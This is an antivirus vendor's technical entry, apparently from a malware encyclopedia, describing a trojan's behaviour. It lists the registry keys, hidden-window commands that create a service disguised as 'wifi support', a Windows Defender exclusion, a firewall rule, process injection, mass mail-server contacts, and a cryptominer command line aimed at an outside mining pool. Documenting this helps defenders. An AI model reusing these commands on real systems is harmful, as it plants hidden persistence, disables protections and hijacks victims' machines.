Trojan.Siggen8.53859

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\zzxcauoq] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\zzxcauoq] 'ImagePath' = '%WINDIR%\SysWOW64\zzxcauoq\ulhofeim.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\zzxcauoq] 'ImagePath' = '%WINDIR%\SysWOW64\zzxcauoq\ulhofeim.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\zzxcauoq' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\ulhofeim.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\ulhofeim.exe to %WINDIR%\syswow64\zzxcauoq\ulhofeim.exe

Deletes itself.

Network activity

TCP

HTTP GET requests

http://www.google.com/

'mx.###nsip.email':25

'ALT2.ASPMX.L.GOOGLE.COM':25

'mx###.eapps.com':25

'mx#.###.#ailpod4-cph3.one.com':25

'ma##.#psecure.it':25

'mx#.#anmail.net':25

'mx.####luciajunta.es':25

'mx###.##il.am0.yahoodns.net':25

'ma##.#-email.net':25

'mx##.###lspamprotection.com':25

'sm###.tomato.it':25

'mx####.carrierzone.com':25

'mx###.in-mx.com':25

'mx#.##s-systems.com':25

'va######.mail.dreamhost.com':25

'ma##.netx1.com':25

'43.#31.4.7':443

'ASPMX.L.GOOGLE.COM':25

'93.#79.68.4':427

'85.##4.134.88':483

'mx####.##il.gm0.yahoodns.net':25

'bi#####.herominers.com':10281

'mx##.#irmail.net':25

'mx#######201.gslb.pphosted.com':25

'd5#####.##s.barracudanetworks.com':25

'alt1.gmail-smtp-in.l.google.com':25

'in##########m.mail.protection.outlook.com':25

'mx#.#lesyk.com':25

'ap#.###.#rotection.outlook.com':25

'19#.#.131.101':427

'14#.#6.199.2':427

'85.##.119.25':427

'46.#.52.109':427

'17#.#11.49.43':427

'mx.###litalia.com':25

'go###e.co.uk':443

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK us.#bm.com
DNS ASK sm###.tomato.it
DNS ASK to##to.it
DNS ASK mx##.###lspamprotection.com
DNS ASK bl######actorydirect.co.uk
DNS ASK mx#.#mdocs.com
DNS ASK br#####atersystems.com
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK bl##ds.com
DNS ASK ma##.#-email.net
DNS ASK si#s.it
DNS ASK ge###i.shiny.it
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK ya##o.es
DNS ASK mx.####luciajunta.es
DNS ASK an####ciajunta.es
DNS ASK ma##.#psecure.it
DNS ASK el####oluxnet.it
DNS ASK mx#.#anmail.net
DNS ASK ha##ail.net
DNS ASK ds##.#niroma3.it
DNS ASK mx#.###.#ailpod4-cph3.one.com
DNS ASK br####ynwaste.se
DNS ASK mx#######d02.gslb.pphosted.com
DNS ASK gb#.#upont.com
DNS ASK ma##.#egister.it
DNS ASK de##a.it
DNS ASK vi####ontrol.com
DNS ASK mx###.eapps.com
DNS ASK mx######b2d01.pphosted.com
DNS ASK ad####ive-army.com
DNS ASK ma###.##jective-army.com
DNS ASK ce#####hnologies.com
DNS ASK mb##.#ediapoint.it
DNS ASK mx.##ichette.it
DNS ASK et###ette.it
DNS ASK go###e.co.uk
DNS ASK mx#######a02.gslb.pphosted.com
DNS ASK en##na.com
DNS ASK ao###rranty.com
DNS ASK ec##.##iv.trieste.it
DNS ASK kn####dgenet.com
DNS ASK ds####l.itg.ti.com
DNS ASK ub##.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK bd#.com
DNS ASK mx.###litalia.com
DNS ASK cl######.eu.messagelabs.com
DNS ASK at#l.it
DNS ASK re#####benckiser.com
DNS ASK as##.#inet.net.au
DNS ASK bi###ue.net.au
DNS ASK mx#.##s-systems.com
DNS ASK te####lastuk.com
DNS ASK va######.mail.dreamhost.com
DNS ASK bi####emarker.com
DNS ASK mx#.#etis.it
DNS ASK me##s.it
DNS ASK ci##ast.net
DNS ASK mx###.in-mx.com
DNS ASK po##ino.it
DNS ASK ar####.bo.cnr.it
DNS ASK mx####.carrierzone.com
DNS ASK eq###tech.com
DNS ASK ed####nsult.co.ke
DNS ASK xs###ius.com
DNS ASK ALT2.ASPMX.L.GOOGLE.COM
DNS ASK ga###rks.com
DNS ASK e-##ym.com
DNS ASK do##rt.com
DNS ASK d5#####.##s.barracudanetworks.com
DNS ASK dv##omm.com
DNS ASK et###.#ail.tiscali.it
DNS ASK ti##ali.it
DNS ASK mx##.#irmail.net
DNS ASK ai##ail.net
DNS ASK mx.##.##il.iss.as9143.net
DNS ASK ca##ma.nl
DNS ASK mx#.#aver.com
DNS ASK na##r.com
DNS ASK alt1.gmail-smtp-in.l.google.com
DNS ASK gm##l.com
DNS ASK bi#####.herominers.com
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK ib#.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK ci####zkiewicz.com
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK ma##.agemont.it
DNS ASK ag##ont.it
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK ao#.com
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK go##ing.com
DNS ASK us#.###.mailhostbox.com
DNS ASK gy##et.com
DNS ASK hu###eisn.com
DNS ASK bl##gold.it
DNS ASK mx.##p.sohu.com
DNS ASK vi#.#ohu.com
DNS ASK ASPMX.L.GOOGLE.COM
DNS ASK mt###yoke.edu
DNS ASK sl##.com
DNS ASK ma##.netx1.com
DNS ASK ne##1.com
DNS ASK google.com
DNS ASK ad##########.mail.protection.outlook.com
DNS ASK ad###hia.com
DNS ASK qb#.com
DNS ASK pr##wie.com
DNS ASK ne###lea.com
DNS ASK mx.###nsip.email
DNS ASK me####session.com
DNS ASK md##oes.com
DNS ASK ap#.###.#rotection.outlook.com
DNS ASK li##.com.au
DNS ASK ma####-system.com
DNS ASK lu##nt.com
DNS ASK lg###tp.lge.com
DNS ASK lg#.com
DNS ASK la###olink.com
DNS ASK mx#.#lesyk.com
DNS ASK kl##yk.com
DNS ASK in##########m.mail.protection.outlook.com
DNS ASK in###echo.com
DNS ASK in##.##manetwork.com
DNS ASK if#.com
DNS ASK ca##soft.it
DNS ASK eq###itywi.org

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\zzxcauoq\ulhofeim.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\zzxcauoq\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ulhofeim.exe" %WINDIR%\SysWOW64\zzxcauoq\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create zzxcauoq binPath= "%WINDIR%\SysWOW64\zzxcauoq\ulhofeim.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description zzxcauoq "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start zzxcauoq' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\zzxcauoq\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\ulhofeim.exe" %WINDIR%\SysWOW64\zzxcauoq\
'%WINDIR%\syswow64\sc.exe' create zzxcauoq binPath= "%WINDIR%\SysWOW64\zzxcauoq\ulhofeim.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description zzxcauoq "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start zzxcauoq
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o bittube.herominers.com:10281 -u bs4jqvyUpC4XEDfBZxFG5N5UNC5ZymPnPQhmabvm4z8MM5geV7LUfhpfe7GtNBVdseY3aBBQd3in8YoXzVH32LXL2vjrv1wm4.55000 -p k -k

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial